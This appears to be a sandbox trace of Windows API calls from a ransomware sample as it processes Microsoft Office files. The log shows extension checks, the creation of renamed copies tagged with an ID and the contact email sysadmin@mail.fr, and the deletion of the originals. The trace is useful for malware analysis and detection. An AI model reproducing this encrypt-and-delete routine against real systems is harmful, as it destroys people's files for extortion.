	[0149.444] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0149.444] lstrlenW (lpString=".xls") returned 4
	[0149.444] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0149.444] lstrlenW (lpString=".xlsx") returned 5
	[0149.444] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0149.444] lstrlenW (lpString=".ppt") returned 4
	[0149.444] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0149.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distributors.exe") returned 50
	[0149.444] lstrlenW (lpString=".zip") returned 4
	[0149.444] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0149.444] lstrlenW (lpString=".rar") returned 4
	[0149.444] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0149.444] lstrlenW (lpString=".bz2") returned 4
	[0149.444] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0149.444] lstrlenW (lpString=".7z") returned 3
	[0149.445] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0149.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distributors.exe") returned 50
	[0149.445] lstrlenW (lpString=".dbf") returned 4
	[0149.445] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0149.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distributors.exe") returned 50
	[0149.445] lstrlenW (lpString=".1cd") returned 4
	[0149.445] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0149.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distributors.exe") returned 50
	[0149.445] lstrlenW (lpString=".jpg") returned 4
	[0149.445] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0149.445] lstrcmpiW (lpString1=".EXE", lpString2=".yG") returned -1
	[0149.445] lstrlenW (lpString="OSPPREARM.EXE") returned 13
	[0149.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0149.448] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=27200) returned 1
	[0149.448] CloseHandle (hObject=0x42c) returned 1
	[0149.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe")) returned 0x20
	[0149.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0149.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0149.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0149.537] lstrlenW (lpString=".doc") returned 4
	[0149.537] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0149.537] lstrlenW (lpString=".docx") returned 5
	[0149.537] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1
	[0149.537] lstrlenW (lpString=".pdf") returned 4
	[0149.537] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0149.537] lstrlenW (lpString=".xls") returned 4
	[0149.537] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0149.537] lstrlenW (lpString=".xlsx") returned 5
	[0149.537] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1
	[0149.537] lstrlenW (lpString=".ppt") returned 4
	[0149.537] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0149.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0149.537] lstrlenW (lpString=".zip") returned 4
	[0149.537] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0149.537] lstrlenW (lpString=".rar") returned 4
	[0149.538] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0149.538] lstrlenW (lpString=".bz2") returned 4
	[0149.538] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0149.538] lstrlenW (lpString=".7z") returned 3
	[0149.538] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0149.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0149.538] lstrlenW (lpString=".dbf") returned 4
	[0149.538] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0149.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0149.538] lstrlenW (lpString=".1cd") returned 4
	[0149.538] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0149.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0149.538] lstrlenW (lpString=".jpg") returned 4
	[0149.538] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0149.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0149.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0149.538] lstrlenW (lpString=".doc") returned 4
	[0149.538] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0149.538] lstrlenW (lpString=".docx") returned 5
	[0149.538] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1
	[0149.539] lstrlenW (lpString=".pdf") returned 4
	[0149.539] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0149.539] lstrlenW (lpString=".xls") returned 4
	[0149.539] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0149.539] lstrlenW (lpString=".xlsx") returned 5
	[0149.539] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1
	[0149.539] lstrlenW (lpString=".ppt") returned 4
	[0149.539] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0149.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0149.539] lstrlenW (lpString=".zip") returned 4
	[0149.539] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0149.539] lstrlenW (lpString=".rar") returned 4
	[0149.539] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0149.539] lstrlenW (lpString=".bz2") returned 4
	[0149.539] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0149.539] lstrlenW (lpString=".7z") returned 3
	[0149.539] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0149.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0149.539] lstrlenW (lpString=".dbf") returned 4
	[0149.539] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0149.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0149.539] lstrlenW (lpString=".1cd") returned 4
	[0149.539] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0149.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0149.539] lstrlenW (lpString=".jpg") returned 4
	[0149.539] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0149.540] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0149.540] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31
	[0149.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0149.681] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=19648) returned 1
	[0149.681] CloseHandle (hObject=0x540) returned 1
	[0149.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x220
	[0149.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0149.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0149.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0149.805] lstrlenW (lpString=".doc") returned 4
	[0149.805] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0149.805] lstrlenW (lpString=".docx") returned 5
	[0149.805] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0149.805] lstrlenW (lpString=".pdf") returned 4
	[0149.805] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0149.805] lstrlenW (lpString=".xls") returned 4
	[0149.805] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0149.805] lstrlenW (lpString=".xlsx") returned 5
	[0149.805] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0149.805] lstrlenW (lpString=".ppt") returned 4
	[0149.805] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0149.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0149.805] lstrlenW (lpString=".zip") returned 4
	[0149.805] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0149.805] lstrlenW (lpString=".rar") returned 4
	[0149.805] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0149.805] lstrlenW (lpString=".bz2") returned 4
	[0149.805] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0149.805] lstrlenW (lpString=".7z") returned 3
	[0149.805] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0149.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0149.805] lstrlenW (lpString=".dbf") returned 4
	[0149.805] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0149.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0149.805] lstrlenW (lpString=".1cd") returned 4
	[0149.805] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0149.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0149.805] lstrlenW (lpString=".jpg") returned 4
	[0149.805] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0149.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0149.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0149.805] lstrlenW (lpString=".doc") returned 4
	[0149.805] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0149.806] lstrlenW (lpString=".docx") returned 5
	[0149.806] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0149.806] lstrlenW (lpString=".pdf") returned 4
	[0149.806] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0149.806] lstrlenW (lpString=".xls") returned 4
	[0149.806] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0149.806] lstrlenW (lpString=".xlsx") returned 5
	[0149.806] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0149.806] lstrlenW (lpString=".ppt") returned 4
	[0149.806] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0149.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0149.806] lstrlenW (lpString=".zip") returned 4
	[0149.806] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0149.806] lstrlenW (lpString=".rar") returned 4
	[0149.806] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0149.806] lstrlenW (lpString=".bz2") returned 4
	[0149.806] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0149.806] lstrlenW (lpString=".7z") returned 3
	[0149.806] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0149.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0149.806] lstrlenW (lpString=".dbf") returned 4
	[0149.806] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0149.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0149.806] lstrlenW (lpString=".1cd") returned 4
	[0149.806] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0149.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0149.806] lstrlenW (lpString=".jpg") returned 4
	[0149.806] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0149.806] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0149.807] lstrlenW (lpString="CARBN_01.MID") returned 12
	[0149.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0149.856] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=9322) returned 1
	[0149.856] CloseHandle (hObject=0x544) returned 1
	[0149.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 0x220
	[0150.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0150.095] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.095] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0150.096] GetLastError () returned 0x0
	[0150.096] ReadFile (in: hFile=0x558, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x246a, lpOverlapped=0x0) returned 1
	[0150.161] WriteFile (in: hFile=0x550, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2470, lpOverlapped=0x0) returned 1
	[0150.162] ReadFile (in: hFile=0x558, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.162] WriteFile (in: hFile=0x550, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.162] SetEndOfFile (hFile=0x550) returned 1
	[0150.162] CloseHandle (hObject=0x550) returned 1
	[0150.163] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.163] SetEndOfFile (hFile=0x558) returned 1
	[0150.166] CloseHandle (hObject=0x558) returned 1
	[0150.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 1
	[0150.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0150.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0150.167] lstrlenW (lpString=".doc") returned 4
	[0150.167] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.167] lstrlenW (lpString=".docx") returned 5
	[0150.167] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.167] lstrlenW (lpString=".pdf") returned 4
	[0150.167] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.167] lstrlenW (lpString=".xls") returned 4
	[0150.167] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.167] lstrlenW (lpString=".xlsx") returned 5
	[0150.167] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.167] lstrlenW (lpString=".ppt") returned 4
	[0150.168] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0150.168] lstrlenW (lpString=".zip") returned 4
	[0150.168] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.168] lstrlenW (lpString=".rar") returned 4
	[0150.168] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.168] lstrlenW (lpString=".bz2") returned 4
	[0150.168] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.168] lstrlenW (lpString=".7z") returned 3
	[0150.168] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0150.168] lstrlenW (lpString=".dbf") returned 4
	[0150.168] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0150.168] lstrlenW (lpString=".1cd") returned 4
	[0150.168] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0150.168] lstrlenW (lpString=".jpg") returned 4
	[0150.168] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0150.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0150.168] lstrlenW (lpString=".doc") returned 4
	[0150.168] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.168] lstrlenW (lpString=".docx") returned 5
	[0150.168] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.168] lstrlenW (lpString=".pdf") returned 4
	[0150.169] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.169] lstrlenW (lpString=".xls") returned 4
	[0150.169] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.169] lstrlenW (lpString=".xlsx") returned 5
	[0150.169] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.169] lstrlenW (lpString=".ppt") returned 4
	[0150.169] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0150.169] lstrlenW (lpString=".zip") returned 4
	[0150.169] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.169] lstrlenW (lpString=".rar") returned 4
	[0150.169] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.169] lstrlenW (lpString=".bz2") returned 4
	[0150.169] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.169] lstrlenW (lpString=".7z") returned 3
	[0150.169] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0150.169] lstrlenW (lpString=".dbf") returned 4
	[0150.169] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0150.169] lstrlenW (lpString=".1cd") returned 4
	[0150.169] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0150.169] lstrlenW (lpString=".jpg") returned 4
	[0150.169] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.170] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0150.170] lstrlenW (lpString="FINCL_02.MID") returned 12
	[0150.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0150.171] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=9318) returned 1
	[0150.171] CloseHandle (hObject=0x558) returned 1
	[0150.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 0x220
	[0150.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0150.171] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.171] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0150.172] GetLastError () returned 0x0
	[0150.172] ReadFile (in: hFile=0x558, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2466, lpOverlapped=0x0) returned 1
	[0150.191] WriteFile (in: hFile=0x550, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2470, lpOverlapped=0x0) returned 1
	[0150.192] ReadFile (in: hFile=0x558, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.192] WriteFile (in: hFile=0x550, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.192] SetEndOfFile (hFile=0x550) returned 1
	[0150.192] CloseHandle (hObject=0x550) returned 1
	[0150.192] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.192] SetEndOfFile (hFile=0x558) returned 1
	[0150.195] CloseHandle (hObject=0x558) returned 1
	[0150.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 1
